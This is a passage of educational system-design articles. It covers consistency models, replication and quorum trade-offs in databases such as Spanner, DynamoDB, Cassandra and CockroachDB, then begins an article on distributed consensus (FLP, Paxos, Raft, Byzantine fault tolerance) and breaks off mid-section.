| **PC/EL**     | Consistency      | Latency          | PNUTS, Cosmos DB (bounded staleness)           |
| **PC/EC**     | Consistency      | Consistency      | Spanner, CockroachDB, traditional RDBMS        |

**PA/EL** systems optimize for performance in both scenarios, accepting weaker consistency. These dominate high-throughput, latency-sensitive workloads.

**PC/EC** systems never compromise consistency, accepting higher latency and reduced availability. Financial systems and coordination services typically require this.

### Why PACELC Matters More in Practice

Partitions are rare. Network redundancy, careful datacenter design, and robust networking mean most production systems experience partitions for minutes per year. The latency-consistency trade-off affects every single request.

Consider replication: synchronous replication (wait for replicas) provides strong consistency but adds latency equal to the slowest replica's response time. Asynchronous replication returns immediately but allows stale reads.

## The Consistency Spectrum

Consistency isn't binary—it's a hierarchy of models with different guarantees and costs.

### Strong Consistency Models

#### Linearizability

**Definition:** Operations appear to execute atomically at some point between their invocation and completion. All clients see the same ordering of operations.

**Mechanism:** Typically requires single-leader architecture or consensus protocols (Paxos, Raft) for coordination.

**Trade-offs:**

- ✅ Simplest to reason about—behaves like a single-threaded system
- ✅ Required for distributed locks, leader election, unique constraints
- ❌ Highest latency—requires cross-replica coordination
- ❌ Reduced availability during partitions—must sacrifice A to maintain C

**Real-world:** Google Spanner achieves linearizability across global datacenters using TrueTime. The [2012 Spanner paper](https://research.google.com/archive/spanner-osdi2012.pdf) describes how GPS and atomic clocks provide bounded clock uncertainty (typically <7ms), enabling a "commit wait" mechanism that ensures linearizable transactions without always requiring synchronous coordination.

#### Sequential Consistency

**Definition:** Operations from each process appear in program order, but there's no real-time constraint on the global ordering across processes. Defined by [Lamport in 1979](https://lamport.azurewebsites.net/pubs/multi.pdf).

**Mechanism:** Maintains per-client ordering without requiring global synchronization.

**Trade-offs:**

- ✅ Lower latency than linearizability
- ✅ Preserves intuitive per-client ordering
- ❌ Different clients may observe operations in different orders
- ❌ Can't implement distributed locks correctly

**When to use:** Systems where clients care about their own operation ordering but don't need real-time guarantees about other clients' operations.

### Causal Consistency

**Definition:** Operations that are causally related must be seen by all processes in the same order. Concurrent (non-causally-related) operations may be seen in different orders. [Defined by Hutto and Ahamad in 1990](https://en.wikipedia.org/wiki/Causal_consistency).

**Mechanism:** Tracks causal dependencies (often via vector clocks or hybrid logical clocks) and ensures dependent operations are ordered.

**Trade-offs:**

- ✅ Available under partition (unlike linearizability)
- ✅ Matches programmer intuition about causality
- ✅ Lower coordination overhead than strong consistency
- ❌ Concurrent operations may diverge across replicas
- ❌ Requires dependency tracking overhead

**Real-world:** Slack uses [hybrid logical clocks](https://www.cockroachlabs.com/blog/living-without-atomic-clocks/) for message ordering. Physical timestamps alone caused message reordering with 50ms+ clock skew; HLCs preserve causal ordering while tolerating clock drift.

### Session Guarantees

These are practical guarantees that provide useful consistency within a client session without requiring system-wide coordination. [Defined by Terry et al.](https://www.cs.cornell.edu/courses/cs734/2000FA/cached%20papers/SessionGuaranteesPDIS_1.html)

#### Read-Your-Writes

**Guarantee:** A read always reflects all prior writes from the same session.

**Use case:** User updates their profile and immediately views it—they should see their changes, not stale data.

**Implementation:** Route session to same replica, or track session's write position and ensure reads see at least that position.

#### Monotonic Reads

**Guarantee:** If a process reads value V, subsequent reads cannot return values older than V.

**Use case:** Scrolling through a feed shouldn't show older posts appearing after newer ones were already displayed.

**Implementation:** Track the latest observed timestamp/version per session; reject reads from replicas behind that point.

#### Monotonic Writes

**Guarantee:** Writes from a session are applied in order at all replicas.

**Use case:** Append-only logs, version increments, any operation where order matters.

#### Writes-Follow-Reads

**Guarantee:** A write is ordered after any reads that causally precede it in the session.

**Use case:** Reply to an email—the reply should be ordered after the message being replied to.

### Eventual Consistency

**Definition:** If no new updates occur, all replicas eventually converge to the same value. No guarantee about how long "eventually" takes or what happens during convergence.

**Mechanism:** Asynchronous replication with background anti-entropy (Merkle trees, read repair, hinted handoff).

**Trade-offs:**

- ✅ Lowest latency—return immediately after local write
- ✅ Highest availability—any replica can serve reads/writes
- ✅ Scales horizontally with minimal coordination
- ❌ Stale reads are expected and unquantified
- ❌ Concurrent writes require conflict resolution
- ❌ Application must handle inconsistency

**Real-world:** DNS is eventually consistent—TTLs control staleness bounds. [Amazon's Dynamo paper](https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf) popularized eventual consistency for shopping carts, accepting that occasional lost items were preferable to unavailability.

## Design Choices: Implementing Consistency

### Choice 1: Replication Strategy

#### Single-Leader Replication

**Mechanism:** One node accepts writes; followers replicate asynchronously or synchronously.

**When to use:**

- Need linearizable reads (if read from leader)
- Can tolerate leader failover window
- Write throughput fits on single node

**Trade-offs:**

- ✅ Simple consistency model
- ✅ Linearizable reads from leader
- ❌ Leader is write bottleneck
- ❌ Failover causes brief unavailability or potential data loss

**Real-world:** PostgreSQL streaming replication, MySQL with semi-sync replication. [DynamoDB uses single-leader per partition](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/HowItWorks.ReadConsistency.html)—"Only the leader replica can serve write and strongly consistent read requests."

#### Multi-Leader Replication

**Mechanism:** Multiple nodes accept writes; changes replicate between leaders.

**When to use:**

- Multi-datacenter deployments requiring local write latency
- Offline-capable applications
- Can handle conflict resolution

**Trade-offs:**

- ✅ Lower write latency (write to local leader)
- ✅ Better availability (each datacenter independent)
- ❌ Conflicts require resolution strategy
- ❌ No linearizability across leaders

**Conflict resolution strategies:**

- **Last-write-wins (LWW):** Simple but loses data
- **Merge:** Application-specific logic combines concurrent updates
- **CRDTs:** Mathematically guaranteed convergence without coordination

#### Leaderless Replication

**Mechanism:** Any node accepts reads/writes; quorums determine success.

**When to use:**

- High availability is paramount
- Eventual consistency is acceptable
- Want to avoid single points of failure

**Trade-offs:**

- ✅ No leader election, no failover
- ✅ Tunable consistency via quorum sizes
- ❌ Requires quorum math understanding
- ❌ Read repair and anti-entropy complexity

### Choice 2: Quorum Configuration

For a system with N replicas, writes require W acknowledgments and reads require R replicas.

**Strong consistency:** W + R > N ensures reads see the latest write.

**Typical configurations:**

| W       | R       | N   | Guarantee                   | Use Case                |
| ------- | ------- | --- | --------------------------- | ----------------------- |
| N       | 1       | N   | Write to all, read from any | Rare writes, many reads |
| (N+1)/2 | (N+1)/2 | N   | Majority quorum             | Balanced workload       |
| 1       | N       | N   | Write to any, read from all | Many writes, rare reads |

**Real-world:** [Cassandra's LOCAL_QUORUM](https://docs.datastax.com/en/cassandra-oss/3.0/cassandra/dml/dmlConfigConsistency.html) uses W=R=(RF/2)+1 within a datacenter. With RF=3, writing to 2 and reading from 2 guarantees strong consistency locally while avoiding cross-datacenter latency.

### Choice 3: Consistency Level Selection

Modern databases offer per-operation consistency tuning:

#### DynamoDB Example

```
// Eventually consistent read (default, half the cost)
const item = await dynamodb.getItem({
    TableName: 'users',
    Key: { userId: '123' }
});

// Strongly consistent read (2x cost, may fail during partition)
const item = await dynamodb.getItem({
    TableName: 'users',
    Key: { userId: '123' },
    ConsistentRead: true
});
```

**Design decision:** DynamoDB defaults to eventual consistency because most reads tolerate staleness, and strong reads cost 2x as many read capacity units.

#### Cassandra Example

```cql
-- Eventual consistency (fastest)
SELECT * FROM users WHERE user_id = '123' USING CONSISTENCY ONE;

-- Strong consistency (requires quorum)
SELECT * FROM users WHERE user_id = '123' USING CONSISTENCY LOCAL_QUORUM;

-- Cross-datacenter strong consistency (highest latency)
SELECT * FROM users WHERE user_id = '123' USING CONSISTENCY QUORUM;
```

### Decision Matrix: Choosing Consistency Level

| Requirement                | Consistency Level               | Rationale                                     |
| -------------------------- | ------------------------------- | --------------------------------------------- |
| Financial transactions     | Linearizable                    | Can't lose or double-count money              |
| User sees their own writes | Session/Read-your-writes        | Minimal consistency that works                |
| Analytics dashboards       | Eventual                        | Staleness measured in seconds is fine         |
| Distributed locks          | Linearizable                    | Incorrect behavior breaks coordination        |
| Social media feeds         | Causal or eventual              | Missing a post briefly is acceptable          |
| Inventory counts           | Tunable—strong for decrements   | Overselling is worse than showing stale count |
| Configuration distribution | Eventual with bounded staleness | Propagation delay acceptable                  |

## Real-World Implementations

### Google Spanner: PC/EC with TrueTime

**Problem:** Global transactions with external consistency across continents.

**Approach:** TrueTime provides bounded clock uncertainty using GPS and atomic clocks. Spanner's commit wait ensures transaction T2 starting after T1 commits has a later timestamp than T1.

**Implementation details:**

- Clock uncertainty typically 1-7ms
- Commit wait = 2 × uncertainty (worst case)
- External consistency: stronger than linearizability for transactions
- Read-only transactions can read from any replica at a chosen timestamp

**Trade-off accepted:** Higher write latency (commit wait) in exchange for global consistency without coordination overhead.

**When to use:** Global financial systems, systems requiring distributed transactions with foreign key constraints, anywhere ACID across regions is required.

### DynamoDB: PA/EL with Tunable Reads

**Problem:** Shopping cart scale (millions of writes/second) with single-digit millisecond latency.

**Approach:** Eventually consistent by default; strongly consistent reads available per-operation.

**Implementation details:**

- Each partition has one leader and multiple followers
- Writes go to leader, replicate asynchronously
- Eventually consistent reads: any replica
- Strongly consistent reads: leader only

**Trade-off accepted:** Stale reads in exchange for lower latency and cost. Strong reads cost 2x and may fail during partitions.

**When to use:** High-throughput applications where most reads tolerate bounded staleness.

### CockroachDB: PC/EC without Atomic Clocks

**Problem:** Spanner-like consistency without Google's hardware.

**Approach:** [Serializable Snapshot Isolation](https://www.cockroachlabs.com/blog/serializable-lockless-distributed-isolation-cockroachdb/) with hybrid logical clocks.

**Implementation details:**

- Uses NTP for clock sync (100-250ms uncertainty vs. Spanner's 7ms)
- Hybrid Logical Clocks (HLC) track causality
- Read refresh mechanism handles clock skew: if a transaction reads stale data due to clock skew, it's automatically refreshed
- Default SERIALIZABLE isolation (strongest SQL standard level)

**Trade-off accepted:** Occasional transaction restarts due to clock skew, in exchange for strong consistency without specialized hardware.

**When to use:** Teams wanting Spanner-like guarantees on commodity hardware or across clouds.

### Cassandra: PA/EL with Tunable Consistency

**Problem:** Multi-datacenter writes with sub-10ms latency.

**Approach:** Leaderless replication with per-query consistency levels.

**Implementation details:**

- Replication factor (RF) per keyspace
- Consistency level per query
- LOCAL_QUORUM for strong consistency within datacenter
- QUORUM for strong consistency across datacenters (higher latency)

**Strong consistency formula:** R + W > RF

**Real-world configuration:** RF=3 with LOCAL_QUORUM reads/writes provides strong consistency within each datacenter while allowing async cross-datacenter replication.

**Trade-off accepted:** Complexity of consistency level selection in exchange for flexibility to optimize per-operation.

## Common Pitfalls

### Pitfall 1: Assuming Eventual = Fast

**The mistake:** Choosing eventual consistency purely for performance without measuring.

**Why it happens:** "Eventual consistency is faster" is repeated without nuance.

**The consequence:** The actual bottleneck might be compute or network, not consistency. Synchronous replication to local replicas often adds <1ms latency.

**The fix:** Measure. Often the latency difference between eventual and strong consistency within a datacenter is negligible compared to other overheads.

### Pitfall 2: Ignoring the Consistency-Availability Trade-off in Clients

**The mistake:** Using retries with exponential backoff on a CP system during partitions.

**Why it happens:** Standard reliability patterns applied without considering CAP implications.

**The consequence:** Clients hang indefinitely during partitions waiting for a system designed to reject requests.

**The fix:** For CP systems, implement timeouts and fallback behavior. For AP systems, handle stale data gracefully.

### Pitfall 3: Read-Your-Writes Violations

**The mistake:** Writing to a leader, then reading from a follower.

**Why it happens:** Load balancer routes read to different replica than write went to.

**The consequence:** User updates their profile, refreshes, sees old data. Creates support tickets and trust issues.

**The fix:**

- Sticky sessions (route user to same replica)
- Read from leader for N seconds after write
- Include write timestamp, reject reads behind that point

### Pitfall 4: Quorum Misconfiguration

**The mistake:** Using W=1, R=1 with RF=3 expecting consistency.

**Why it happens:** Misunderstanding the W + R > RF rule.

**The consequence:** Stale reads, lost updates, split-brain scenarios.

**The fix:** Understand quorum math. For strong consistency: W + R > RF. Common pattern: W = R = (RF/2) + 1.

### Pitfall 5: Clock-Based Ordering Without Bounds

**The mistake:** Using timestamps for ordering without accounting for clock skew.

**Why it happens:** Assuming clocks are synchronized.

**The consequence:** Messages appear out of order, last-write-wins loses the actual last write.

**The fix:** Use Hybrid Logical Clocks (HLCs), or accept bounded reordering within clock skew bounds.

## How to Choose

### Step 1: Identify Consistency Requirements

**Questions to ask:**

1. What's the cost of a stale read? (User confusion? Lost money? Data corruption?)
2. What's the cost of unavailability? (Lost revenue? User frustration? Regulatory violation?)
3. What latency budget exists? (Sub-10ms? Under 100ms? Seconds acceptable?)

### Step 2: Map Requirements to Models

| If you need...                     | Consider...                                |
| ---------------------------------- | ------------------------------------------ |
| Distributed locks, leader election | Linearizability (Spanner, etcd, ZooKeeper) |
| User sees their own changes        | Session consistency / Read-your-writes     |
| Causal message ordering            | Causal consistency (HLCs)                  |
| Maximum availability               | Eventual consistency with CRDTs            |
| Per-operation flexibility          | Tunable consistency (Cassandra, DynamoDB)  |

### Step 3: Design for Failure

**For CP systems:**

- Plan what happens when system rejects requests
- Implement graceful degradation
- Consider hybrid approaches (CP for critical path, AP for others)

**For AP systems:**

- Plan conflict resolution strategy
- Design for eventual convergence
- Test with network partitions injected

### Step 4: Test Consistency Behavior

Use tools like [Jepsen](https://jepsen.io/) to verify your system actually provides claimed guarantees. Many "strongly consistent" systems have been found to violate consistency under specific failure scenarios.

## Conclusion

The CAP theorem establishes a fundamental constraint—during network partitions, distributed systems cannot provide both strong consistency and availability. However, CAP is the beginning of the discussion, not the end.

Practical systems navigate a spectrum of consistency models, each with different guarantees and costs. The PACELC extension captures the more common trade-off: even without partitions, stronger consistency requires coordination that adds latency.

The key insight is that consistency requirements vary by operation. A single system might use linearizable transactions for financial operations, causal consistency for messaging, and eventual consistency for analytics—all tuned to the actual requirements rather than a one-size-fits-all approach.

Understanding this spectrum—from the theoretical foundations of CAP through the practical considerations of PACELC to the implementation details of specific consistency models—enables informed decisions about where your system should sit on the consistency-availability-latency trade-off surface.

## Appendix

### Prerequisites

- Basic understanding of distributed systems concepts
- Familiarity with database replication terminology
- Understanding of network partitions and failure modes

### Terminology

- **Linearizability:** Operations appear to execute atomically at a single point in time, visible to all clients
- **Sequential Consistency:** Operations appear in program order per process, but no real-time guarantees
- **Causal Consistency:** Causally related operations appear in same order to all processes
- **Eventual Consistency:** All replicas converge given no new updates
- **Quorum:** Minimum number of nodes that must agree for an operation to succeed
- **Partition:** Network failure preventing communication between nodes
- **HLC:** Hybrid Logical Clock—combines physical timestamps with logical counters

### Summary

- CAP theorem constrains behavior during partitions: choose consistency or availability
- PACELC extends CAP: during normal operation, choose latency or consistency
- Consistency is a spectrum: linearizability → sequential → causal → eventual
- Session guarantees (read-your-writes, monotonic reads) often suffice for applications
- Tunable consistency (per-operation) is more useful than per-system choices
- Real systems combine multiple consistency levels for different operations

### References

#### Foundational Papers

- [Brewer's Conjecture and the Feasibility of Consistent, Available, Partition-Tolerant Web Services](https://groups.csail.mit.edu/tds/papers/Gilbert/Brewer2.pdf) - Gilbert and Lynch, 2002. The formal proof of the CAP theorem.
- [CAP Twelve Years Later: How the "Rules" Have Changed](https://www.infoq.com/articles/cap-twelve-years-later-how-the-rules-have-changed/) - Brewer, 2012. Brewer's retrospective on CAP.
- [Consistency Tradeoffs in Modern Distributed Database System Design](https://www.cs.umd.edu/~abadi/papers/abadi-pacelc.pdf) - Abadi, 2012. The PACELC theorem.
- [How to Make a Multiprocessor Computer That Correctly Executes Multiprocess Programs](https://lamport.azurewebsites.net/pubs/multi.pdf) - Lamport, 1979. Defines sequential consistency.
- [Session Guarantees for Weakly Consistent Replicated Data](https://www.cs.cornell.edu/courses/cs734/2000FA/cached%20papers/SessionGuaranteesPDIS_1.html) - Terry et al., 1994. Defines session consistency guarantees.

#### System Papers

- [Spanner: Google's Globally-Distributed Database](https://research.google.com/archive/spanner-osdi2012.pdf) - Corbett et al., 2012. TrueTime and external consistency.
- [Spanner, TrueTime & The CAP Theorem](https://research.google.com/pubs/archive/45855.pdf) - Google's clarification on how Spanner relates to CAP.

#### Documentation

- [DynamoDB Read Consistency](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/HowItWorks.ReadConsistency.html) - AWS documentation on consistency options
- [Cassandra Consistency Levels](https://docs.datastax.com/en/cassandra-oss/3.0/cassandra/dml/dmlConfigConsistency.html) - DataStax documentation
- [CockroachDB Consistency Model](https://www.cockroachlabs.com/blog/consistency-model/) - CockroachDB's approach explained
- [Jepsen Consistency Models](https://jepsen.io/consistency) - Visual hierarchy of consistency models

#### Books

- [Designing Data-Intensive Applications](https://dataintensive.net/) - Kleppmann, 2017. Comprehensive coverage of distributed systems concepts including consistency models.

---

## Distributed Consensus

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/distributed-consensus
**Category:** System Design / System Design Fundamentals
**Description:** Understanding how distributed systems reach agreement despite failures—the fundamental algorithms, their design trade-offs, and practical implementations that power modern infrastructure.Consensus is deceptively simple: get N nodes to agree on a value. The challenge is doing so when nodes can fail, messages can be lost, and clocks can drift. This article explores why consensus is provably hard, the algorithms that solve it in practice, and how systems like etcd, ZooKeeper, and CockroachDB implement these ideas at scale.

# Distributed Consensus

Understanding how distributed systems reach agreement despite failures—the fundamental algorithms, their design trade-offs, and practical implementations that power modern infrastructure.

Consensus is deceptively simple: get N nodes to agree on a value. The challenge is doing so when nodes can fail, messages can be lost, and clocks can drift. This article explores why consensus is provably hard, the algorithms that solve it in practice, and how systems like etcd, ZooKeeper, and CockroachDB implement these ideas at scale.

<figure>

![Leader-based consensus: client writes go through the leader, which replicates to followers and commits once a majority acknowledges.](./leader-based-consensus-client-writes-go-through-the-leader-which-replicates-to-f.svg)

<figcaption>Leader-based consensus: client writes go through the leader, which replicates to followers and commits once a majority acknowledges.</figcaption>
</figure>

## Abstract

Distributed consensus solves a coordination problem: ensuring multiple nodes agree on a sequence of values despite arbitrary message delays and node failures. The core mental model:

- **FLP Impossibility**: No deterministic algorithm guarantees consensus in a fully asynchronous system with even one crash failure. Practical systems escape via partial synchrony assumptions (timeouts) and randomization.

- **Safety vs. Liveness**: Consensus protocols guarantee safety (never disagree on committed values) always, but can only guarantee liveness (eventually make progress) when the network behaves well enough.

- **Quorum Overlap**: The key insight enabling consensus—any two majorities must share at least one node, ensuring information about committed values propagates.

- **Leader-Based vs. Leaderless**: Paxos can be leaderless (any node proposes), Raft requires a leader. Leaders simplify reasoning but create a single point of failure that requires election.

| Algorithm | Model                   | Fault Tolerance          | Message Complexity | Primary Use            |
| --------- | ----------------------- | ------------------------ | ------------------ | ---------------------- |
| Paxos     | Leaderless/Multi-leader | f crashes (2f+1 nodes)   | O(n) per value     | Theoretical foundation |
| Raft      | Leader-based            | f crashes (2f+1 nodes)   | O(n) per value     | Production systems     |
| PBFT      | Leader-based BFT        | f Byzantine (3f+1 nodes) | O(n²) per value    | Untrusted environments |

## Why Consensus Is Hard: FLP Impossibility

The Fischer-Lynch-Paterson theorem (1985) proves that in an asynchronous system where even one node may crash, no deterministic algorithm can guarantee consensus.

### What FLP Actually Proves

FLP shows that any consensus protocol has some execution where it never terminates. The proof constructs an adversarial message scheduler that keeps the system perpetually "on the fence" between deciding 0 and 1.

**Key assumptions:**

- Fully asynchronous network (messages can be delayed arbitrarily)
- Deterministic algorithms only
- At least one node may crash

> "Every partially correct protocol for the consensus problem has some admissible run that is not a deciding run." — FLP Paper, 1985

### Practical Escape Hatches

Real systems circumvent FLP through:

**Partial Synchrony**: Assume the network is asynchronous _most of the time_ but eventually becomes synchronous long enough to make progress. This is the DLS (Dwork-Lynch-Stockmeyer) model—safety holds always, liveness holds eventually.

**Randomization**: Use coin flips to break symmetry. Ben-Or's algorithm achieves consensus with probability 1, even if individual rounds may fail.

**Failure Detectors**: Oracle abstraction that tells nodes which other nodes have failed. Even an unreliable failure detector (◇W class) suffices for consensus.

**Design Rationale**: FLP doesn't mean consensus is impossible—it means no algorithm can guarantee bounded-time consensus under worst-case asynchrony. Real networks aren't adversarially scheduled, so timeouts work.

## Paxos: The Foundation

Paxos, described by Lamport in 1989 (published 1998), is the first consensus algorithm proven correct. Its influence is foundational—understanding Paxos explains why other algorithms make their choices.

### Protocol Mechanics

Paxos separates three roles (often colocated on same nodes):

- **Proposers**: Initiate proposals
- **Acceptors**: Vote on proposals
- **Learners**: Learn decided values

**Phase 1: Prepare**

```
Proposer                              Acceptor
    |                                     |
    |-- PREPARE(n) ---------------------->|
    |                                     |
    |<-------- PROMISE(n, accepted?) -----|
```

1. Proposer selects unique proposal number `n` (must be monotonically increasing)
2. Sends PREPARE(n) to majority of acceptors
3. Acceptor responds with:
   - Promise not to accept proposals with number < n
   - Any value it has already accepted (if any)

**Phase 2: Accept**

```
Proposer                              Acceptor
    |                                     |
    |-- ACCEPT(n, v) -------------------->|
    |                                     |
    |<-------- ACCEPTED(n, v) ------------|
```

1. If proposer receives promises from majority:
   - If any promise included an accepted value, use the highest-numbered one
   - Otherwise, use proposer's own value
2. Send ACCEPT(n, v) to acceptors
3. Acceptor accepts if it hasn't promised to a higher-numbered proposal
4. Value is **chosen** when majority accepts

### Why Paxos Is Hard to Implement

Lamport's "Paxos Made Simple" is 14 pages. Google's "Paxos Made Live" describes implementing it in Chubby:

> "There are significant gaps between the description of the Paxos algorithm and the needs of a real-world system... the final system will be based on an unproven protocol."

**Practical challenges:**

- Liveness: Competing proposers can livelock (each invalidating the other's prepare)
- Multi-Paxos: Extending single-value to log replication requires careful handling of leader stability
- Disk durability: Every promise/accept must be durable before responding
- Catch-up: Fallen-behind nodes need gap-filling mechanism
- Configuration changes: Original Paxos doesn't address cluster membership

### Multi-Paxos Optimization

Basic Paxos requires two round-trips per value. Multi-Paxos elects a stable leader:

1. Leader runs Phase 1 once for an entire range of sequence numbers
2. For each new value, leader only runs Phase 2 (single round-trip)
3. If leader fails, new leader must re-run Phase 1

**Trade-off**: Simpler steady-state but complex failure recovery. Leader must distinguish between "I am no longer leader" and "my proposal is just slow."

### ZooKeeper's ZAB Protocol

ZooKeeper uses Zab (Zookeeper Atomic Broadcast), a Paxos variant optimized for its use case:

**Key differences from canonical Paxos:**

- Explicit leader (not symmetric)
- Primary-order: all writes go through leader in sequence
- Prefix property: if message m is delivered, all messages before m are delivered

**Why the design**: ZooKeeper needs ordered atomic broadcast for its coordination primitives (locks, barriers, queues). Zab guarantees that leader-initiated transactions commit in leader order—stronger than multi-decree Paxos where different leaders might interleave.

**Real-world use**: Kafka uses ZooKeeper for metadata management—topic configuration, partition leaders, consumer offsets. The hierarchical namespace (znode tree) maps naturally to coordination patterns.

## Raft: Designed for Understandability

Raft (2014) was explicitly designed to be easier to understand than Paxos while providing equivalent guarantees.

> "We set out to design a consensus algorithm that was easy to understand... we succeeded by addressing two problems: (1) decomposing the problem, and (2) reducing the number of states to consider." — Ongaro & Ousterhout

### Design Philosophy

Raft makes several choices that sacrifice generality for clarity:

| Paxos                   | Raft                        | Rationale                         |
| ----------------------- | --------------------------- | --------------------------------- |
| Any node can propose    | Only leader proposes        | Simpler reasoning about conflicts |
| Symmetric roles         | Explicit leader/follower    | Clearer responsibility            |
| Complex leader election | Randomized timeout + voting | Statistically avoids split vote   |
| Logs can have gaps      | Logs are sequential         | Simplifies recovery               |

### Leader Election

Raft nodes exist in three states: Follower, Candidate, Leader.

**Election trigger**: Follower times out waiting for leader heartbeat.

**Election process:**

1. Follower becomes Candidate, increments term number
2. Votes for itself, sends RequestVote to all peers
3. Wins if receives majority votes
4. Becomes Leader, sends heartbeats to assert leadership

**Vote restriction**: Node only votes for candidate if candidate's log is at least as up-to-date (higher term, or same term with longer log).

**Randomized timeout**: Each node chooses election timeout randomly from range (e.g., 150-300ms). This statistically prevents split votes where multiple candidates tie.

**Configuration guidance:**

- Local datacenter: Election timeout 1000ms, heartbeat 100-200ms
- Cross-datacenter: Election timeout = 5× heartbeat, heartbeat ≈ RTT

### Log Replication

```
Leader Log: [1:X] [2:Y] [3:Z] [4:W]
                              ^-- committed (majority replicated)

Follower 1: [1:X] [2:Y] [3:Z] [4:W]  ✓ up-to-date
Follower 2: [1:X] [2:Y] [3:Z]        ✓ can catch up
Follower 3: [1:X] [2:Y]              ✓ can catch up
```

**Replication steps:**

1. Leader receives client write, appends to log
2. Leader sends AppendEntries RPC with new entries
3. Followers append entries, respond with success
4. When majority acknowledges, leader commits
5. Leader notifies followers of new commit index
6. All nodes apply committed entries to state machine

**Key invariant**: If two logs contain an entry with the same index and term, they are identical in all preceding entries. This allows followers to detect gaps and divergences.

### Membership Changes

Adding or removing nodes risks split-brain if done naively (old majority and new majority could exist simultaneously). Raft uses **joint consensus**:

1. Leader creates configuration log entry: Cold,new
2. Decisions require majority of BOTH Cold AND Cnew
3. Once committed, leader creates Cnew-only configuration
4. Old servers not in Cnew can be safely removed

**Trade-off**: More complex than stopping the cluster, but allows online reconfiguration without downtime.

### Raft in Production: etcd

etcd (CoreOS, now CNCF) is the most widely deployed Raft implementation, powering Kubernetes cluster state.

**Performance characteristics:**

- Throughput bound by disk fsync latency—99th percentile fsync should be <20ms
- Slow disks cause leader to miss heartbeats, triggering false elections
- `MaxInflightBytes` controls pipelining: 100ms RTT + 1MB limit = 10 MB/s throughput

**Real incident pattern**: etcd cluster instability despite healthy network—root cause is disk latency from noisy neighbors or slow storage. Monitor `wal_fsync_duration_seconds` and `backend_commit_duration_seconds`.

**Production guidance:**

- Use SSDs with predictable latency
- Isolate etcd nodes from other workloads
- Monitor disk latency histograms, not just averages
- Cross-DC: increase election timeout to 5-10× heartbeat

## Quorum Systems

Quorums are the mathematical foundation of fault-tolerant consensus.

### Basic Quorum Arithmetic

For a system of N nodes tolerating f failures:

- Need N ≥ 2f + 1 (majority remains after f failures)
- Read quorum Qr and write quorum Qw must overlap: Qr + Qw > N

**Example (5 nodes, f=2):**

- Write quorum = 3 (majority)
- Read quorum = 3 (majority)
- Any read intersects any write—ensures seeing latest value

### Read/Write Trade-offs

| Configuration | Read Quorum | Write Quorum | Trade-off               |
| ------------- | ----------- | ------------ | ----------------------- |
| Read-heavy    | 1           | N            | Fast reads, slow writes |
| Write-heavy   | N           | 1            | Fast writes, slow reads |
| Balanced      | (N+1)/2     | (N+1)/2      | Equal latency           |

**Design choice**: Dynamo-style systems (Cassandra, Riak) expose quorum configuration (R, W, N). Consensus systems like Raft/Paxos fix Qr = Qw = majority.

### Flexible Quorums

Standard quorums treat all replicas equally. Flexible quorums assign weights:

**Weighted voting**: Replicas have different vote weights. Quorum satisfied when total weight exceeds threshold.

**Use case**: Replicas in local datacenter get weight 3, remote replicas get weight 1. Reads can be satisfied locally but writes require some remote acks for durability.

**Witness nodes**: Non-voting nodes that store data but don't participate in elections. Useful for scaling reads without affecting consensus latency.

## Byzantine Fault Tolerance

Crash fault tolerance assumes failed nodes stop responding. Byzantine Fault Tolerance (BFT) handles nodes that behave arbitrarily—send wrong messages, coordinate with other bad actors, or selectively respond.

### When BFT Is Needed

| Scenario           | Fault Model | Why                                                    |
| ------------------ | ----------- | ------------------------------------------------------ |
| Private datacenter | Crash       | Nodes controlled by same operator, no incentive to lie |
| Multi-tenant cloud | Crash       | Provider controls hypervisor, tenants isolated         |
| Public blockchain  | Byzantine   | Untrusted participants, economic incentives to cheat   |
| Military/critical  | Byzantine   | Adversary may compromise nodes                         |

### BFT Cost

To tolerate f Byzantine nodes: N ≥ 3f + 1 (vs. 2f + 1 for crash faults)

**Why 3f+1**: With f Byzantine nodes potentially lying, need 2f+1 honest nodes to reach majority. Total = f bad + 2f+1 good = 3f + 1.

### PBFT (Practical Byzantine Fault Tolerance)

Castro and Liskov (1999) made BFT practical for small clusters:

**Three-phase protocol:**

1. **Pre-prepare**: Leader assigns sequence number to request
2. **Prepare**: Replicas broadcast prepare message if they accept leader's proposal
3. **Commit**: Once 2f+1 prepares received, replicas broadcast commit
4. Finalized when 2f+1 commits received

**Message complexity**: O(n²) per consensus round—each node broadcasts to all others twice. Limits practical cluster size to ~20-30 nodes.

### Modern BFT: HotStuff

HotStuff (2018) reduces complexity through pipelining:

- Linear message complexity in common case
- Three-phase commit with quorum certificates
- Efficient view (leader) changes
- Used in Libra/Diem blockchain

**Key insight**: Chain quorum certificates—each phase's certificate serves as the pre-prepare for the next. Amortizes communication cost.

## Consensus in Practice

### System Comparison

| System      | Protocol      | Data Model            | Consistency   | Best For                |
| ----------- | ------------- | --------------------- | ------------- | ----------------------- |
| ZooKeeper   | Zab           | Hierarchical (znodes) | Linearizable  | Coordination primitives |
| etcd        | Raft          | Flat key-value        | Linearizable  | Kubernetes, config      |
| Consul      | Raft + Gossip | Flat key-value        | Strong (Raft) | Service discovery       |
| CockroachDB | MultiRaft     | SQL                   | Serializable  | Distributed ACID        |

### etcd: Configuration and Kubernetes

**Use case**: Kubernetes stores all cluster state—pods, services, secrets, configmaps—in etcd.

**Why etcd over ZooKeeper**:

- Raft simpler to reason about than Zab
- gRPC API more modern than ZooKeeper's Java-centric model
- Watch API efficient for Kubernetes controller pattern

**Operational reality**: etcd is often the most operationally challenging component in Kubernetes. Typical issues:

- Disk latency causing leader election storms
- Large values (secrets) causing slow snapshots
- Watch storms from misbehaving controllers

**Sizing guidance**: 3 nodes for most production deployments. 5 nodes only if you need to survive two simultaneous failures. More nodes = higher write latency (more acks needed).

### Consul: Hybrid Consensus + Gossip

Consul uses two protocols:

**Raft**: Strong consistency for KV store and service catalog. Leader-based, synchronous replication.

**Serf (Gossip)**: Membership and failure detection. Nodes periodically exchange state with random peers. Converges in O(log N) rounds.

**Why hybrid**: Different consistency needs for different data:

- Service registration: needs strong consistency (Raft)
- Node health: eventual consistency acceptable, but needs fast propagation (Gossip)

**Multi-datacenter**: Each datacenter has independent Raft cluster. WAN gossip connects datacenters for service discovery federation.

### CockroachDB: MultiRaft for Distributed SQL

CockroachDB needs per-range consensus (each range is a Raft group) plus distributed transactions across ranges.

**MultiRaft**: Instead of one Raft group for entire cluster, each range (64MB by default) has its own Raft group. Different ranges can have leaders on different nodes—distributes load.

